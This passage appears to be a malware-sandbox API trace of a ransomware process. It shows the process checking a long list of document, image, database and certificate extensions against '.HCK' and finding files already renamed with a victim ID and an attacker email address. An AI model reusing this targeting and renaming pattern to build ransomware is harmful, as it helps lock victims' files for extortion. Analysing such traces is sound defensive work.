lstrcmpiW (lpString1=".cfml", lpString2="].HCK") returned -1 [0224.140] lstrlenW (lpString=".cfu") returned 4 [0224.140] lstrcmpiW (lpString1=".cfu", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".chm") returned 4 [0224.140] lstrcmpiW (lpString1=".chm", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".cin") returned 4 [0224.140] lstrcmpiW (lpString1=".cin", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".class") returned 6 [0224.140] lstrcmpiW (lpString1=".class", lpString2="o].HCK") returned -1 [0224.140] lstrlenW (lpString=".clx") returned 4 [0224.140] lstrcmpiW (lpString1=".clx", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".config") returned 7 [0224.140] lstrcmpiW (lpString1=".config", lpString2="io].HCK") returned -1 [0224.140] lstrlenW (lpString=".cpp") returned 4 [0224.140] lstrcmpiW (lpString1=".cpp", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".cr2") returned 4 [0224.140] lstrcmpiW (lpString1=".cr2", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".crt") returned 4 [0224.140] lstrcmpiW (lpString1=".crt", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".crw") returned 4 [0224.140] lstrcmpiW (lpString1=".crw", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".cs") returned 3 [0224.140] lstrcmpiW (lpString1=".cs", lpString2="HCK") returned -1 [0224.140] lstrlenW (lpString=".css") returned 4 [0224.140] lstrcmpiW (lpString1=".css", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".csv") returned 4 [0224.140] lstrcmpiW (lpString1=".csv", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".cub") returned 4 [0224.140] lstrcmpiW (lpString1=".cub", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".dae") returned 4 [0224.140] lstrcmpiW (lpString1=".dae", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".dat") returned 4 [0224.140] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".db") returned 3 [0224.140] lstrcmpiW (lpString1=".db", lpString2="HCK") returned -1 [0224.140] lstrlenW (lpString=".dbf") returned 4 [0224.140] lstrcmpiW (lpString1=".dbf", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".dbx") returned 4 [0224.140] lstrcmpiW (lpString1=".dbx", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".dc3") returned 4 [0224.140] lstrcmpiW (lpString1=".dc3", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".dcm") returned 4 [0224.140] lstrcmpiW (lpString1=".dcm", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".dcr") returned 4 [0224.140] lstrcmpiW (lpString1=".dcr", lpString2=".HCK") returned -1 [0224.140] lstrlenW (lpString=".der") returned 4 [0224.141] lstrcmpiW (lpString1=".der", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".dib") returned 4 [0224.141] lstrcmpiW (lpString1=".dib", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".dic") returned 4 [0224.141] lstrcmpiW (lpString1=".dic", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".dif") returned 4 [0224.141] lstrcmpiW (lpString1=".dif", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".divx") returned 5 [0224.141] lstrcmpiW (lpString1=".divx", lpString2="].HCK") returned -1 [0224.141] lstrlenW (lpString=".djvu") returned 5 [0224.141] lstrcmpiW (lpString1=".djvu", lpString2="].HCK") returned -1 [0224.141] lstrlenW (lpString=".dng") returned 4 [0224.141] lstrcmpiW (lpString1=".dng", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".doc") returned 4 [0224.141] lstrcmpiW (lpString1=".doc", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".docm") returned 5 [0224.141] lstrcmpiW (lpString1=".docm", lpString2="].HCK") returned -1 [0224.141] lstrlenW (lpString=".docx") returned 5 [0224.141] lstrcmpiW (lpString1=".docx", lpString2="].HCK") returned -1 [0224.141] lstrlenW (lpString=".dot") returned 4 [0224.141] lstrcmpiW (lpString1=".dot", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".dotm") returned 5 [0224.141] lstrcmpiW (lpString1=".dotm", lpString2="].HCK") returned -1 [0224.141] lstrlenW (lpString=".dotx") returned 5 [0224.141] lstrcmpiW (lpString1=".dotx", lpString2="].HCK") returned -1 [0224.141] lstrlenW (lpString=".dpx") returned 4 [0224.141] lstrcmpiW (lpString1=".dpx", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".dqy") returned 4 [0224.141] lstrcmpiW (lpString1=".dqy", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".dsn") returned 4 [0224.141] lstrcmpiW (lpString1=".dsn", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".dt") returned 3 [0224.141] lstrcmpiW (lpString1=".dt", lpString2="HCK") returned -1 [0224.141] lstrlenW (lpString=".dtd") returned 4 [0224.141] lstrcmpiW (lpString1=".dtd", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".dwg") returned 4 [0224.141] lstrcmpiW (lpString1=".dwg", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".dwt") returned 4 [0224.141] lstrcmpiW (lpString1=".dwt", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".dx") returned 3 [0224.141] lstrcmpiW (lpString1=".dx", lpString2="HCK") returned -1 [0224.141] lstrlenW (lpString=".dxf") returned 4 [0224.141] lstrcmpiW (lpString1=".dxf", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".edml") returned 5 [0224.141] lstrcmpiW (lpString1=".edml", lpString2="].HCK") returned -1 [0224.141] lstrlenW (lpString=".efd") returned 4 [0224.141] lstrcmpiW (lpString1=".efd", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".elf") returned 4 [0224.141] lstrcmpiW (lpString1=".elf", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".emf") returned 4 [0224.141] lstrcmpiW (lpString1=".emf", lpString2=".HCK") returned -1 [0224.141] lstrlenW (lpString=".emz") returned 4 [0224.141] lstrcmpiW (lpString1=".emz", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".epf") returned 4 [0224.142] lstrcmpiW (lpString1=".epf", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".eps") returned 4 [0224.142] lstrcmpiW (lpString1=".eps", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".epsf") returned 5 [0224.142] lstrcmpiW (lpString1=".epsf", lpString2="].HCK") returned -1 [0224.142] lstrlenW (lpString=".epsp") returned 5 [0224.142] lstrcmpiW (lpString1=".epsp", lpString2="].HCK") returned -1 [0224.142] lstrlenW (lpString=".erf") returned 4 [0224.142] lstrcmpiW (lpString1=".erf", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".exr") returned 4 [0224.142] lstrcmpiW (lpString1=".exr", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".f4v") returned 4 [0224.142] lstrcmpiW (lpString1=".f4v", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".fido") returned 5 [0224.142] lstrcmpiW (lpString1=".fido", lpString2="].HCK") returned -1 [0224.142] lstrlenW (lpString=".flm") returned 4 [0224.142] lstrcmpiW (lpString1=".flm", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".flv") returned 4 [0224.142] lstrcmpiW (lpString1=".flv", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".frm") returned 4 [0224.142] lstrcmpiW (lpString1=".frm", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".fxg") returned 4 [0224.142] lstrcmpiW (lpString1=".fxg", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".geo") returned 4 [0224.142] lstrcmpiW (lpString1=".geo", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".gif") returned 4 [0224.142] lstrcmpiW (lpString1=".gif", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".grs") returned 4 [0224.142] lstrcmpiW (lpString1=".grs", lpString2=".HCK") returned -1 [0224.142] lstrlenW (lpString=".gz") returned 3 [0224.142] lstrcmpiW (lpString1=".gz", lpString2="HCK") returned -1 [0224.142] lstrlenW (lpString=".h") returned 2 [0224.142] lstrcmpiW (lpString1=".h", lpString2="CK") returned -1 [0224.142] lstrlenW (lpString=".hdr") returned 4 [0224.142] lstrcmpiW (lpString1=".hdr", lpString2=".HCK") returned 1 [0224.142] lstrlenW (lpString=".hpp") returned 4 [0224.142] lstrcmpiW (lpString1=".hpp", lpString2=".HCK") returned 1 [0224.142] lstrlenW (lpString=".hta") returned 4 [0224.142] lstrcmpiW (lpString1=".hta", lpString2=".HCK") returned 1 [0224.142] lstrlenW (lpString=".htc") returned 4 [0224.142] lstrcmpiW (lpString1=".htc", lpString2=".HCK") returned 1 [0224.142] lstrlenW (lpString=".htm") returned 4 [0224.142] lstrcmpiW (lpString1=".htm", lpString2=".HCK") returned 1 [0224.142] lstrlenW (lpString=".html") returned 5 [0224.142] lstrcmpiW (lpString1=".html", lpString2="].HCK") returned -1 [0224.142] lstrlenW (lpString=".icb") returned 4 [0224.142] lstrcmpiW (lpString1=".icb", lpString2=".HCK") returned 1 [0224.142] lstrlenW (lpString=".ics") returned 4 [0224.142] lstrcmpiW (lpString1=".ics", lpString2=".HCK") returned 1 [0224.142] lstrlenW (lpString=".iff") returned 4 [0224.142] lstrcmpiW (lpString1=".iff", lpString2=".HCK") returned 1 [0224.142] lstrlenW (lpString=".inc") returned 4 [0224.142] lstrcmpiW (lpString1=".inc", lpString2=".HCK") returned 1 [0224.142] lstrlenW (lpString=".indd") returned 5 [0224.143] lstrcmpiW (lpString1=".indd", lpString2="].HCK") returned -1 [0224.143] lstrlenW (lpString=".ini") returned 4 [0224.143] lstrcmpiW (lpString1=".ini", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".iqy") returned 4 [0224.143] lstrcmpiW (lpString1=".iqy", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".j2c") returned 4 [0224.143] lstrcmpiW (lpString1=".j2c", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".j2k") returned 4 [0224.143] lstrcmpiW (lpString1=".j2k", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".java") returned 5 [0224.143] lstrcmpiW (lpString1=".java", lpString2="].HCK") returned -1 [0224.143] lstrlenW (lpString=".jp2") returned 4 [0224.143] lstrcmpiW (lpString1=".jp2", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".jpc") returned 4 [0224.143] lstrcmpiW (lpString1=".jpc", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".jpe") returned 4 [0224.143] lstrcmpiW (lpString1=".jpe", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".jpeg") returned 5 [0224.143] lstrcmpiW (lpString1=".jpeg", lpString2="].HCK") returned -1 [0224.143] lstrlenW (lpString=".jpf") returned 4 [0224.143] lstrcmpiW (lpString1=".jpf", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".jpg") returned 4 [0224.143] lstrcmpiW (lpString1=".jpg", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".jpx") returned 4 [0224.143] lstrcmpiW (lpString1=".jpx", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".js") returned 3 [0224.143] lstrcmpiW (lpString1=".js", lpString2="HCK") returned -1 [0224.143] lstrlenW (lpString=".jsf") returned 4 [0224.143] lstrcmpiW (lpString1=".jsf", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".json") returned 5 [0224.143] lstrcmpiW (lpString1=".json", lpString2="].HCK") returned -1 [0224.143] lstrlenW (lpString=".jsp") returned 4 [0224.143] lstrcmpiW (lpString1=".jsp", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".kdc") returned 4 [0224.143] lstrcmpiW (lpString1=".kdc", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".kmz") returned 4 [0224.143] lstrcmpiW (lpString1=".kmz", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".kwm") returned 4 [0224.143] lstrcmpiW (lpString1=".kwm", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".lasso") returned 6 [0224.143] lstrcmpiW (lpString1=".lasso", lpString2="o].HCK") returned -1 [0224.143] lstrlenW (lpString=".lbi") returned 4 [0224.143] lstrcmpiW (lpString1=".lbi", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".lgf") returned 4 [0224.143] lstrcmpiW (lpString1=".lgf", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".lgp") returned 4 [0224.143] lstrcmpiW (lpString1=".lgp", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".log") returned 4 [0224.143] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".m1v") returned 4 [0224.143] lstrcmpiW (lpString1=".m1v", lpString2=".HCK") returned 1 [0224.143] lstrlenW (lpString=".m4a") returned 4 [0224.144] lstrcmpiW (lpString1=".m4a", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".m4v") returned 4 [0224.144] lstrcmpiW (lpString1=".m4v", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".max") returned 4 [0224.144] lstrcmpiW (lpString1=".max", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".md") returned 3 [0224.144] lstrcmpiW (lpString1=".md", lpString2="HCK") returned -1 [0224.144] lstrlenW (lpString=".mda") returned 4 [0224.144] lstrcmpiW (lpString1=".mda", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mdb") returned 4 [0224.144] lstrcmpiW (lpString1=".mdb", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mde") returned 4 [0224.144] lstrcmpiW (lpString1=".mde", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mdf") returned 4 [0224.144] lstrcmpiW (lpString1=".mdf", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mdw") returned 4 [0224.144] lstrcmpiW (lpString1=".mdw", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mef") returned 4 [0224.144] lstrcmpiW (lpString1=".mef", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mft") returned 4 [0224.144] lstrcmpiW (lpString1=".mft", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mfw") returned 4 [0224.144] lstrcmpiW (lpString1=".mfw", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mht") returned 4 [0224.144] lstrcmpiW (lpString1=".mht", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mhtml") returned 6 [0224.144] lstrcmpiW (lpString1=".mhtml", lpString2="o].HCK") returned -1 [0224.144] lstrlenW (lpString=".mka") returned 4 [0224.144] lstrcmpiW (lpString1=".mka", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mkidx") returned 6 [0224.144] lstrcmpiW (lpString1=".mkidx", lpString2="o].HCK") returned -1 [0224.144] lstrlenW (lpString=".mkv") returned 4 [0224.144] lstrcmpiW (lpString1=".mkv", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mos") returned 4 [0224.144] lstrcmpiW (lpString1=".mos", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mov") returned 4 [0224.144] lstrcmpiW (lpString1=".mov", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mp3") returned 4 [0224.144] lstrcmpiW (lpString1=".mp3", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mp4") returned 4 [0224.144] lstrcmpiW (lpString1=".mp4", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mpeg") returned 5 [0224.144] lstrcmpiW (lpString1=".mpeg", lpString2="].HCK") returned -1 [0224.144] lstrlenW (lpString=".mpg") returned 4 [0224.144] lstrcmpiW (lpString1=".mpg", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mpv") returned 4 [0224.144] lstrcmpiW (lpString1=".mpv", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mrw") returned 4 [0224.144] lstrcmpiW (lpString1=".mrw", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".msg") returned 4 [0224.144] lstrcmpiW (lpString1=".msg", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".mxl") returned 4 [0224.144] lstrcmpiW (lpString1=".mxl", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".myd") returned 4 [0224.144] lstrcmpiW (lpString1=".myd", lpString2=".HCK") returned 1 [0224.144] lstrlenW (lpString=".myi") returned 4 [0224.145] lstrcmpiW (lpString1=".myi", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".nef") returned 4 [0224.145] lstrcmpiW (lpString1=".nef", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".nrw") returned 4 [0224.145] lstrcmpiW (lpString1=".nrw", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".obj") returned 4 [0224.145] lstrcmpiW (lpString1=".obj", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".odb") returned 4 [0224.145] lstrcmpiW (lpString1=".odb", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".odc") returned 4 [0224.145] lstrcmpiW (lpString1=".odc", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".odm") returned 4 [0224.145] lstrcmpiW (lpString1=".odm", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".odp") returned 4 [0224.145] lstrcmpiW (lpString1=".odp", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".ods") returned 4 [0224.145] lstrcmpiW (lpString1=".ods", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".oft") returned 4 [0224.145] lstrcmpiW (lpString1=".oft", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".one") returned 4 [0224.145] lstrcmpiW (lpString1=".one", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".onepkg") returned 7 [0224.145] lstrcmpiW (lpString1=".onepkg", lpString2="io].HCK") returned -1 [0224.145] lstrlenW (lpString=".onetoc2") returned 8 [0224.145] lstrcmpiW (lpString1=".onetoc2", lpString2=".io].HCK") returned 1 [0224.145] lstrlenW (lpString=".opt") returned 4 [0224.145] lstrcmpiW (lpString1=".opt", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".oqy") returned 4 [0224.145] lstrcmpiW (lpString1=".oqy", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".orf") returned 4 [0224.145] lstrcmpiW (lpString1=".orf", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".p12") returned 4 [0224.145] lstrcmpiW (lpString1=".p12", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".p7b") returned 4 [0224.145] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".p7c") returned 4 [0224.145] lstrcmpiW (lpString1=".p7c", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".pam") returned 4 [0224.145] lstrcmpiW (lpString1=".pam", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".pbm") returned 4 [0224.145] lstrcmpiW (lpString1=".pbm", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".pct") returned 4 [0224.145] lstrcmpiW (lpString1=".pct", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".pcx") returned 4 [0224.145] lstrcmpiW (lpString1=".pcx", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".pdd") returned 4 [0224.145] lstrcmpiW (lpString1=".pdd", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".pdf") returned 4 [0224.145] lstrcmpiW (lpString1=".pdf", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".pdp") returned 4 [0224.145] lstrcmpiW (lpString1=".pdp", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".pef") returned 4 [0224.145] lstrcmpiW (lpString1=".pef", lpString2=".HCK") returned 1 [0224.145] lstrlenW (lpString=".pem") returned 4 [0224.145] lstrcmpiW (lpString1=".pem", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".pff") returned 4 [0224.146] lstrcmpiW (lpString1=".pff", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".pfm") returned 4 [0224.146] lstrcmpiW (lpString1=".pfm", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".pfx") returned 4 [0224.146] lstrcmpiW (lpString1=".pfx", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".pgm") returned 4 [0224.146] lstrcmpiW (lpString1=".pgm", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".php") returned 4 [0224.146] lstrcmpiW (lpString1=".php", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".php3") returned 5 [0224.146] lstrcmpiW (lpString1=".php3", lpString2="].HCK") returned -1 [0224.146] lstrlenW (lpString=".php4") returned 5 [0224.146] lstrcmpiW (lpString1=".php4", lpString2="].HCK") returned -1 [0224.146] lstrlenW (lpString=".php5") returned 5 [0224.146] lstrcmpiW (lpString1=".php5", lpString2="].HCK") returned -1 [0224.146] lstrlenW (lpString=".phtml") returned 6 [0224.146] lstrcmpiW (lpString1=".phtml", lpString2="o].HCK") returned -1 [0224.146] lstrlenW (lpString=".pict") returned 5 [0224.146] lstrcmpiW (lpString1=".pict", lpString2="].HCK") returned -1 [0224.146] lstrlenW (lpString=".pl") returned 3 [0224.146] lstrcmpiW (lpString1=".pl", lpString2="HCK") returned -1 [0224.146] lstrlenW (lpString=".pls") returned 4 [0224.146] lstrcmpiW (lpString1=".pls", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".pm") returned 3 [0224.146] lstrcmpiW (lpString1=".pm", lpString2="HCK") returned -1 [0224.146] lstrlenW (lpString=".png") returned 4 [0224.146] lstrcmpiW (lpString1=".png", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".pnm") returned 4 [0224.146] lstrcmpiW (lpString1=".pnm", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".pot") returned 4 [0224.146] lstrcmpiW (lpString1=".pot", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".potm") returned 5 [0224.146] lstrcmpiW (lpString1=".potm", lpString2="].HCK") returned -1 [0224.146] lstrlenW (lpString=".potx") returned 5 [0224.146] lstrcmpiW (lpString1=".potx", lpString2="].HCK") returned -1 [0224.146] lstrlenW (lpString=".ppa") returned 4 [0224.146] lstrcmpiW (lpString1=".ppa", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".ppam") returned 5 [0224.146] lstrcmpiW (lpString1=".ppam", lpString2="].HCK") returned -1 [0224.146] lstrlenW (lpString=".ppm") returned 4 [0224.146] lstrcmpiW (lpString1=".ppm", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".pps") returned 4 [0224.146] lstrcmpiW (lpString1=".pps", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".ppsm") returned 5 [0224.146] lstrcmpiW (lpString1=".ppsm", lpString2="].HCK") returned -1 [0224.146] lstrlenW (lpString=".ppt") returned 4 [0224.146] lstrcmpiW (lpString1=".ppt", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".pptm") returned 5 [0224.146] lstrcmpiW (lpString1=".pptm", lpString2="].HCK") returned -1 [0224.146] lstrlenW (lpString=".pptx") returned 5 [0224.146] lstrcmpiW (lpString1=".pptx", lpString2="].HCK") returned -1 [0224.146] lstrlenW (lpString=".prn") returned 4 [0224.146] lstrcmpiW (lpString1=".prn", lpString2=".HCK") returned 1 [0224.146] lstrlenW (lpString=".ps") returned 3 [0224.146] lstrcmpiW (lpString1=".ps", lpString2="HCK") returned -1 [0224.147] lstrlenW (lpString=".psb") returned 4 [0224.147] lstrcmpiW (lpString1=".psb", lpString2=".HCK") returned 1 [0224.147] lstrlenW (lpString=".psd") returned 4 [0224.147] lstrcmpiW (lpString1=".psd", lpString2=".HCK") returned 1 [0224.147] lstrlenW (lpString=".pst") returned 4 [0224.147] lstrcmpiW (lpString1=".pst", lpString2=".HCK") returned 1 [0224.147] lstrlenW (lpString=".ptx") returned 4 [0224.147] lstrcmpiW (lpString1=".ptx", lpString2=".HCK") returned 1 [0224.147] lstrlenW (lpString=".pub") returned 4 [0224.147] lstrcmpiW (lpString1=".pub", lpString2=".HCK") returned 1 [0224.147] lstrlenW (lpString=".pwm") returned 4 [0224.147] lstrcmpiW (lpString1=".pwm", lpString2=".HCK") returned 1 [0224.147] FindNextFileW (in: hFindFile=0x5736a8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a49fc3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2a49fc3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a70254, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="OOBE_2~1.HCK")) returned 1 [0224.147] FindNextFileW (in: hFindFile=0x5736a8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b08b0d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b08b0d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b4c933, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARTNE~1.HCK")) returned 1 [0224.147] FindNextFileW (in: hFindFile=0x5736a8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b08b0d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2b08b0d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b4c933, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARTNE~1.HCK")) returned 0 [0224.147] FindClose (in: hFindFile=0x5736a8 | out: hFindFile=0x5736a8) returned 1 [0224.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.148] FindNextFileW (in: hFindFile=0x573728, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0224.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.148] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573328 [0224.165] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.166] FindNextFileW (in: hFindFile=0x573328, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2bd5999, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2bd5999, 